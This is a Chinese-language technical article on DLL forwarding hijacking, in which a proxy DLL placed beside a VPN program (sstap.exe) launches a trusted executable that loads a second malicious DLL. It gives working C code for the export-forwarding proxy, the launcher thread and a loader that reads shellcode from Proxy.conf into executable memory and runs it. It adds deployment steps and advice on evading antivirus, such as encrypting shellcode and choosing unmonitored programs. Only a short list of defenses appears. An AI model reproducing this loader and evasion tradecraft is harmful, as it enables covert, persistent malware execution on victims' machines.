关于DLL转发劫持的思考
字数 1262 2025-08-23 18:31:17
DLL转发劫持与白程序加载恶意DLL技术详解
一、技术概述
DLL转发劫持是一种利用Windows DLL加载机制的攻击技术,通过劫持目标程序加载的合法DLL,将其替换为恶意DLL,同时保留原始DLL的功能。本文介绍的技术在传统DLL劫持基础上进行了创新:
- 不直接将shellcode写入劫持的DLL中(避免查杀)
- 通过劫持的DLL启动白程序(合法程序)
- 由白程序加载最终的恶意DLL
- 即使原始目标程序退出,恶意进程仍保持运行
二、技术实现步骤
1. 准备工作
- 目标程序:sstap.exe(VPN软件,也可替换为其他程序)
- 工具:AheadLib(DLL转发生成工具)、Resource Hacker(资源编辑工具)
- 白程序:updater.exe(或其他可信程序)
- 黑DLL:最终包含恶意代码的DLL
2. DLL转发劫持实现
使用AheadLib工具生成转发DLL代码:
- 将原始DLL(如libiconv2.dll)重命名为不易察觉的名称(如libiconv2Help.dll)
- 使用AheadLib生成转发代码,关键部分如下:
#include <Windows.h>
// 导出函数转发
#pragma comment(linker, "/EXPORT:DllGetVersion=libiconv2Help.DllGetVersion,@1")
#pragma comment(linker, "/EXPORT:_libiconv_version=libiconv2Help._libiconv_version,@2")
// ...其他需要转发的导出函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
}
return TRUE;
}
3. 添加启动白程序功能
在DllMain中创建线程启动白程序:
DWORD WINAPI run(LPVOID lpParameter)
{
ShellExecute(NULL, L"open", L"updater.exe", NULL, NULL, SW_SHOW);
return 0;
}
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
CreateThread(NULL, 0, run, NULL, 0, NULL);
DisableThreadLibraryCalls(hModule);
}
return TRUE;
}
4. 处理黑DLL
黑DLL需要包含以下功能:
- 合法的导出函数(伪装成正常DLL)
- 从外部文件(如Proxy.conf)读取shellcode并执行
示例代码:
#include "pch.h"
#include <Windows.h>
// 伪装导出函数
extern "C" __declspec(dllexport) int error_output() { return 0; }
extern "C" __declspec(dllexport) int dirutils_path_transform() { return 0; }
extern "C" __declspec(dllexport) int autolog_init() { return 0; }
// 实际恶意函数
extern "C" __declspec(dllexport) int error_output_check()
{
DWORD dwSize;
DWORD dwReadSize;
HANDLE hFileNew = CreateFile(L"Proxy.conf", GENERIC_ALL, FILE_SHARE_READ,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFileNew == INVALID_HANDLE_VALUE) return 0;
dwSize = GetFileSize(hFileNew, NULL);
void* exec = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
ReadFile(hFileNew, exec, dwSize, &dwReadSize, NULL);
((void(*)())exec)();
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
return TRUE;
}
5. 文件部署
- 将生成的转发DLL命名为原始DLL名(libiconv2.dll)放入目标程序目录
- 将原始DLL重命名为libiconv2Help.dll放入同一目录
- 将白程序(updater.exe)和黑DLL放入目录
- 将shellcode文件(Proxy.conf)放入目录
三、攻击流程
- 用户运行sstap.exe
- sstap.exe尝试加载libiconv2.dll(已被替换为恶意转发DLL)
- 恶意DLL启动updater.exe(白程序)
- updater.exe加载黑DLL
- 黑DLL读取Proxy.conf中的shellcode并执行
- 即使sstap.exe退出,updater.exe进程仍保持运行
四、防御措施
- 检查程序目录中是否存在异常的DLL文件
- 监控DLL加载行为,特别是非常规路径的DLL加载
- 使用数字签名验证加载的DLL
- 监控进程创建行为,特别是由DLL启动的进程
- 对shellcode文件进行检测(如Proxy.conf)
五、技术优势
- 规避检测:不直接将恶意代码写入初始劫持的DLL
- 持久性:不依赖原始目标程序的运行状态
- 隐蔽性:利用白程序作为载体,降低可疑度
- 灵活性:可通过修改Proxy.conf更换payload而不需重新编译DLL
六、注意事项
- 白程序选择应合理,避免选择会被安全软件监控的程序
- 可对shellcode使用SGN等工具进行加密,避免静态检测
- 可使用Resource Hacker为白程序添加合法图标等资源,增强伪装效果
- 转发DLL的导出函数必须与原始DLL完全一致,否则可能导致目标程序功能异常